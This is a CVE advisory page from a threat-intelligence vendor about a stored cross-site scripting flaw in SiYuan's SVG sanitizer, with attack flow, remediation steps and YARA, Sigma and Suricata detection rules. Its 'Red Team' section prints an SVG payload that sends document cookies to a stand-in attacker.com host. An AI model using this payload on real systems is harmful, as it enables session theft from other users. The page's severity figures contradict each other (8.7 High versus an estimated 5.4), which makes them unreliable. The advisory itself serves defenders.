☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
siyuan-note logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-66394

CVE-2026-66394 Cross-Site Scripting in SiYuan
📅 PUBLISHED: 2026-07-27 15:43 UTC 🔄 UPDATED: 2026-10-11 17:43 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v3.7.3 — source: VulnCheck. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: N Availability None
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

PATCH_DORKS: Upgrade to SiYuan v3.7.3 or later

Executive Summary

CVE-2026-66394 is a stored and reflected cross-site scripting vulnerability in the SiYuan note-taking application (versions prior to 3.7.3). The flaw resides in the SVG sanitization logic: the HTML parser treats certain elements (desc, style, noscript) as raw text, allowing attackers to hide script tags inside SVG files. When these SVGs are served with Content-Type: image/svg+xml, browsers interpret the malicious content as executable SVG, leading to script execution in the application's origin.

The vulnerability requires authentication and attacker-controlled content upload, but the impact is significant: an authenticated attacker can inject persistent XSS payloads that execute when other users view the note. No public proof‑of‑concept or exploit code has been published at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Metric Value
CVSS Version 3.x (estimated)
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) Low (L) (authenticated)
User Interaction (UI) Required (R) (victim views note)
Scope (S) Changed (C)
Confidentiality (C) Low (L)
Integrity (I) Low (L)
Availability (A) None (N)
Base Score 5.4 (Medium)

Note: Official CVSS vector is not provided; the above is a reasonable assessment based on the description.

Deep Dive & Mechanics

SiYuan uses an HTML parser–based cleaner to strip malicious scripts from uploaded SVG content. The parser incorrectly treats <desc>, <style>, and <noscript> elements as raw text containers—meaning it does not parse or clean their contents. When the SVG is later served with MIME type image/svg+xml, the browser renders the SVG as an interactive document. Script tags hidden inside these elements are then executed in the context of the SiYuan origin.

Root cause:

  • The sanitizer relies on an HTML parser that does not recognize the SVG namespace, thus ignoring raw‑text elements.
  • The web server does not enforce strict Content‑Type verification or Content‑Security‑Policy headers that could mitigate script execution.

Attack flow:

  1. Attacker logs into SiYuan.
  2. Creates a note or uploads an SVG file.
  3. Injects a payload like:
    <svg xmlns="http://www.w3.org/2000/svg"><desc><script>alert(document.cookie)</script></desc></svg>
  4. The sanitizer sees <script> inside <desc> and does not remove it.
  5. When any user (including other authenticated users) views the note, the SVG is served as image/svg+xml and the script executes.

Vulnerable vs. Patched Code

Vulnerable behavior (SiYuan < 3.7.3):

  • The sanitizer only scans for <script> tags at the top level of HTML parsing.
  • It does not recursively check the content of raw‑text elements, allowing script injection.

Patched behavior (SiYuan >= 3.7.3):

  • The sanitizer now explicitly decodes and validates SVG elements, removing or escaping script content inside desc, style, noscript, and similar elements.
  • Alternatively, the server may serve SVGs with Content-Type: text/plain or use a Content‑Security‑Policy that disallows inline scripts.

Since no official patch source is available, users should upgrade to v3.7.3 as per the vendor’s recommendation.

Exploitation & Lab Setup

Red Team (Proof‑of‑Concept)

No public exploit code is available. The following illustrates the attack vector for educational purposes.

  1. Obtain an authenticated session (e.g., cookie).
  2. Upload an SVG file via the note editor with the following content:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <desc>
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  </desc>
</svg>
  1. The sanitizer passes the SVG.
  2. Share the note containing the SVG with the victim.
  3. When the victim views the note, the script executes in their browser, exfiltrating session tokens or performing actions on their behalf.

Blue Team (Detection & Hardening)

  • Static analysis: Scan uploaded SVG files for patterns like <script inside <desc>, <style>, <noscript>.
  • WAF rules: Block requests containing image/svg+xml with <script inside raw‑text elements.
  • Server hardening:
    • Serve all user‑uploaded SVGs with Content‑Disposition: attachment or Content‑Type: text/plain.
    • Implement strict Content‑Security‑Policy headers (e.g., script‑src 'none' for SVG content).
    • Use a dedicated SVG sanitizer library (e.g., DOMPurify when rendering client‑side).

Indicators of Compromise (IOCs)

  • Network: HTTP responses with Content‑Type: image/svg+xml containing suspicious raw‑text elements.
  • File system: SVG files containing <desc>, <style>, or <noscript> tags with embedded <script>.
  • Logs:
    • Unusual outbound requests to external domains after note viewing.
    • Repeated attempts to upload SVGs with raw‑text elements.
  • Example IOC regex (suricata):
    (script|javascript):.*<svg.*<(desc|style|noscript)>

Detection Engineering

YARA Rule

rule CVE_2026_66394_SVG_XSS {
   meta:
      description = "Detects SVG files with script inside raw-text elements (desc, style, noscript)"
      author = "Valters IT"
      date = "2025-03-04"
      reference = "CVE-2026-66394"
   strings:
      $svg_tag = "<svg"
      $script_tag = "<script"
      $desc_in = /(<desc>|<style>|<noscript>)/ nocase
   condition:
      $svg_tag and $script_tag and $desc_in
}

Sigma Rule

title: CVE-2026-66394 – SiYuan SVG Stored XSS
id: 5a3e8c71-0b0d-4a89-99f2-3c7919071a9c
status: experimental
description: Detects upload of SVG files containing raw-text elements with script content in SiYuan web application logs.
logsource:
   product: http
   service: access_log
detection:
   selection:
      cs_uri_stem: "*.svg"
      cs_content_type: "image/svg+xml"
   keywords:
      - "<script"
      - "<desc>"
      - "<style>"
      - "<noscript>"
   condition: selection and keywords
falsepositives:
   - Legitimate uses of script inside SVG are rare; verify context.
level: high
tags:
   - attack.t1190
   - cve.2026-66394

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
   msg:"CVE-2026-66394 – SiYuan SVG XSS Attempt (desc/style/noscript)";
   flow:to_server,established;
   content:"image/svg+xml"; http_content_type;
   pcre:/(<svg.*<(desc|style|noscript)>.*<script)/i;
   tag:session,5,10;
   reference:cve,2026-66394;
   sid:10000001;
   rev:1;
)

Remediation & Mitigation

Immediate

  • Upgrade SiYuan to version 3.7.3 or later.
  • If upgrade is not possible, apply a WAF rule to block SVG uploads containing raw‑text elements with <script>.
  • After upgrade, invalidate all existing user sessions to force re‑authentication.

Long‑term

  • Implement a robust SVG sanitization pipeline using a library designed for XML/SVG (e.g., svg-sanitizer for Node.js).
  • Serve all user‑uploaded SVG files with Content‑Disposition: attachment to prevent inline rendering.
  • Enforce Content‑Security‑Policy header: default‑src 'self'; script‑src 'none';.
  • Conduct regular code reviews of sanitization logic, especially for namespaced content.

Valters IT – Securing your digital boundaries.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-66394/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.